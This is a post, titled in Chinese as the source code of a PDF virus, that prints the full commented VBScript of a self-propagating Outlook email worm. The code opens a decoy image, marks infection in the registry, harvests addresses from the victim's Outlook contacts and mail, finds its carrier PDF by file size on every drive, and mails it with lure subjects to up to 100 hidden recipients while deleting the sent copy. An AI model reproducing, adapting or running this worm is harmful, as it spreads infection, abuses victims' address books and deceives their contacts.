一个PDF病毒的源代码
On Error Resume Next
Dim P 'Stores the path of the PDF file. It is declared because it needs to be gl
obal but it's first used by a procedure.
Dim U() 'Array storing email addresses. This array is always one number bigger t
han the amount of email addresses.
ReDim U(0)
'Create and open image file showing what the user expects.
KJ="474946383961CD008D00F7000000000010290018000018290018310821080021100021180029
10002918003118002129002925083918082931003529042131102139102942184433104A31183152
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C8845CC886EC21010100003B"
For Y=1 To Len(KJ) Step 2
PQ=PQ&Chr("&H"&Mid(KJ,Y,2))
Next
Set S=CreateObject("Scripting.FileSystemObject")
Set FY=S.CreateTextFile(S.BuildPath(S.GetSpecialFolder(2),"PEACH.JPG"),True)
FY.Write PQ
FY.Close
Set W=CreateObject("WScript.Shell")
W.Run S.BuildPath(S.GetSpecialFolder(2),"PEACH.JPG")
'Create and check registry key to know if it was already run.
IJ=W.RegRead("HKLM\Software\OUTLOOK.PDFWorm\")
If IJ="Version 1.0. By Zulu." Then
WScript.Quit
Else
W.RegWrite "HKLM\Software\OUTLOOK.PDFWorm\","Version 1.0. By Zulu."
End If
'Check if Outlook is installed.
Set C=CreateObject("Outlook.Application")
If C Is Nothing Then WScript.Quit
'Get email addresses from Outlook's address book and Outlook's emails (using OLE
Automation).
'It will add them to the "U" array with the "Q" procedure using a method not see
n before in any virus.
Set Z=C.GetNameSpace("MAPI")
Set N=Z.Folders(1)
Q N
'If it was not able of finding email addresses the file will stop running.
If UBound(U)=0 Then WScript.Quit
'Find duplicated addresses in the "U" array and assign an empty string in their
place.
For Y=0 To UBound(U)-1
For X=Y+1 To UBound(U)-1
If U(Y)=U(X) And U(Y)<>"" Then U(X)=""
Next
Next
'Remove the infected user's email addresses from the "U" array. It will check fo
r the first 19 accounts.
For Y=1 To 9
J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accoun
ts\0000000"&Y&"\SMTP Email Address")
J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accoun
ts\0000000"&Y&"\SMTP Reply To Email Address")
J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accoun
ts\0000001"&Y&"\SMTP Email Address")
J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accoun
ts\0000001"&Y&"\SMTP Reply To Email Address")
Next
J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
\00000010\SMTP Email Address")
J W.RegRead("HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts
\00000010\SMTP Reply To Email Address")
'Check if there are email addresses in the "U" array after removing infected use
r's email addresses.
For Y=0 To UBound(U)-1
If U(Y)<>"" Then Exit For
If Y=UBound(U)-1 Then WScript.Quit
Next
'Check if Word is installed and search for PDF files with the correct size. When
using Word the search will include all
'places in each fixed drive, the other type of search will only include usual pl
aces. The path of the PDF file will be
'stored in the "P" variable.
'I also tried looking for the task name using "Tasks.Item().Name" from Word, but
it was only possible to find the file
'name, not the full path of the file, so a search is needed.
Set A=CreateObject("Word.Application")
If A Is Nothing Then
For Each B In S.Drives
If B.DriveType=2 Then
E B.DriveLetter&":\"
If P<>"" Then Exit For
End If
Next
If P="" Then E S.GetSpecialFolder(2)
If P="" Then E W.SpecialFolders("Desktop")
If P="" Then E W.SpecialFolders("MyDocuments")
If P="" Then E W.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Progr
amFilesDir")
Else
Set G=A.FileSearch
G.NewSearch
G.FileName="*.PDF"
G.SearchSubFolders=True
'Do the search in each drive while the file is not found.
For Each B In S.Drives
If B.DriveType=2 Then
G.LookIn=B.DriveLetter&":\"
G.Execute
If G.FoundFiles.Count>0 Then
For Y=1 To G.FoundFiles.Count
Set L=S.GetFile(G.FoundFiles(Y))
If L.Size>168230 And L.Size<168250 Then
P=G.FoundFiles(Y)
Exit For
End If
Next
If P<>"" Then Exit For
Else
G.NewSearch
G.FileName="*.PDF"
G.SearchSubFolders=True
End If
End If
Next
A.Quit
End If
'If the path is not found ("P" is empty) the file will stop running.
If P="" Then WScript.Quit
'Create a string with values from the "U" array (to be used as the BCC part of t
he email message).
'It will limit the amount of email addresses to 100.
If UBound(U)-1<100 Then
For Y=0 To UBound(U)-1
If U(Y)<>"" Then
If T="" Then T=U(Y) Else T=T&";"&U(Y)
End If
Next
Else
Dim JD(99)
For Y=0 To 99
JD(Y)=Int(UBound(U)*Rnd)
Next
For Y=0 To 99
For X=Y+1 To 99
If JD(Y)=JD(X) And JD(Y)<>-1 Then JD(X)=-1
Next
Next
For Y=0 To 99
If JD(Y)=-1 Then JD(Y)=Int(UBound(U)*Rnd)
Next
For Y=0 To 99
For X=Y+1 To 99
If JD(Y)=JD(X) And JD(Y)<>-1 Then JD(X)=-1
Next
Next
For Y=0 To 99
If JD(Y)<>-1 And U(JD(Y))<>"" Then
If T="" Then T=U(JD(Y)) Else T=T&";"&U(JD(Y))
End If
Next
End If
'Set subject, body and attachment name.
Randomize
If Int(2*Rnd)=0 Then O="Fw: "
EY=Int(5*Rnd)
If EY=0 Then
O=O&"You have one minute to find the peach"
ElseIf EY=1 Then
O=O&"Find the peach"
ElseIf EY=2 Then
O=O&"Find"
ElseIf EY=3 Then
O=O&"Peach"
Else
O=O&"Joke"
End If
If Int(2*Rnd)=0 Then O=O&"!"
If Int(4*Rnd)=0 Then O=UCase(O)
If Int(2*Rnd)=0 Then F="> "
EY=Int(5*Rnd)
If EY=0 Then
If Left(O,2)="Fw" Then F=F&Mid(O,5) Else F=F&O
ElseIf EY=1 Then
F=F&"Try finding the peach"
ElseIf EY=2 Then
F=F&"Try this"
ElseIf EY=3 Then
F=F&"Interesting search"
Else
F=F&"I don't usually send this things, but..."
End If
If EY<4 Then
If Int(2*Rnd)=0 Then F=F&"!"
End If
EY=Int(5*Rnd)
If EY=0 Then
F=F&" :-)"
ElseIf EY=1 Then
F=F&" :)"
ElseIf EY=2 Then
F=F&" =)"
ElseIf EY=3 Then
F=F&" :-]"
End If
If Int(4*Rnd)=0 Then F=UCase(F)
EY=Int(6*Rnd)
If EY=0 Then
SW="find.pdf"
ElseIf EY=1 Then
SW="peach.pdf"
ElseIf EY=2 Then
SW="find the peach.pdf"
ElseIf EY=3 Then
SW="find_the_peach.pdf"
ElseIf EY=4 Then
SW="joke.pdf"
Else
SW="search.pdf"
End If
EY=Int(3*Rnd)
If EY=0 Then
SW=UCase(Left(SW,1))&Mid(SW,2)
ElseIf EY=1 Then
SW=UCase(SW)
End If
SW=S.BuildPath(S.GetSpecialFolder(2),SW)
'Copy PDF file to the temporary directory.
S.CopyFile P,SW
'Send email message.
Set H=C.CreateItem(0)
H.BCC=T
H.Subject=O
If Int(2*Rnd)=0 Then H.Body=F Else H.HTMLBody=F
H.Attachments.Add SW
H.DeleteAfterSubmit=True
H.Send
'Delete PDF file from the temporary directory.
S.DeleteFile SW,True
'Recursive procedure used to get email addresses from Outlook and add them to th
e "U" array. It will get addresses from
'each contact in the address book (using a method not seen before in any worm an
d getting the first three addresses of
'each contact) and from the recipients of all emails found in any Outlook folder
.
Sub Q(I)
On Error Resume Next
For Each B In I.Items
'If the item is a contact (it will give an error and continue if not), get i
t's first three email addresses.
If B.Email1Address<>"" Then D B.Email1Address
If B.Email2Address<>"" Then D B.Email2Address
If B.Email3Address<>"" Then D B.Email3Address
'If the item is an email (it will give an error and continue if not), get th
e email addresses of all recipients.
For Each R In B.Recipients
D R.Address
Next
Next
'Use the procedure with all subfolders.
For Each B In I.Folders
Q B
Next
End Sub
'Procedure that adds a value to the "U" array and changes the size of that array
.
Sub D(M)
On Error Resume Next
U(UBound(U))=M
ReDim Preserve U(UBound(U)+1)
End Sub
'Procedure that checks if the email address passed as parameter is available in
the "U" array and, if so, it assigns an
'empty string in that array index.
Sub J(V)
On Error Resume Next
For X=0 To UBound(U)-1
If UCase(U(X))=UCase(V) Then
U(X)=""
Exit For
End If
Next
End Sub
'Recursive procedure used when searching for the PDF file without using Word. It
will try finding the PDF file by looking
'for files with that extension and the correct size. If the file is not found in
the specified directory it will look
'for all subdirectories and it will call itself using them as the new parameter.
Sub E(K)
On Error Resume Next
If S.FolderExists(K) Then
'Check all files in the specified directory.
For Each R In S.GetFolder(K).Files
If UCase(S.GetExtensionName(R.Name))="PDF" Then
If R.Size>168230 And R.Size<168250 Then
P=R.Path
Exit For
End If
End If
Next
'If the file was not found and the directory is not root, use the procedure
with all subdirectories.
If P="" And Right(K,2)<>":\" Then
For Each R In S.GetFolder(K).SubFolders
E R.Path
Next
End If
End If
End Sub
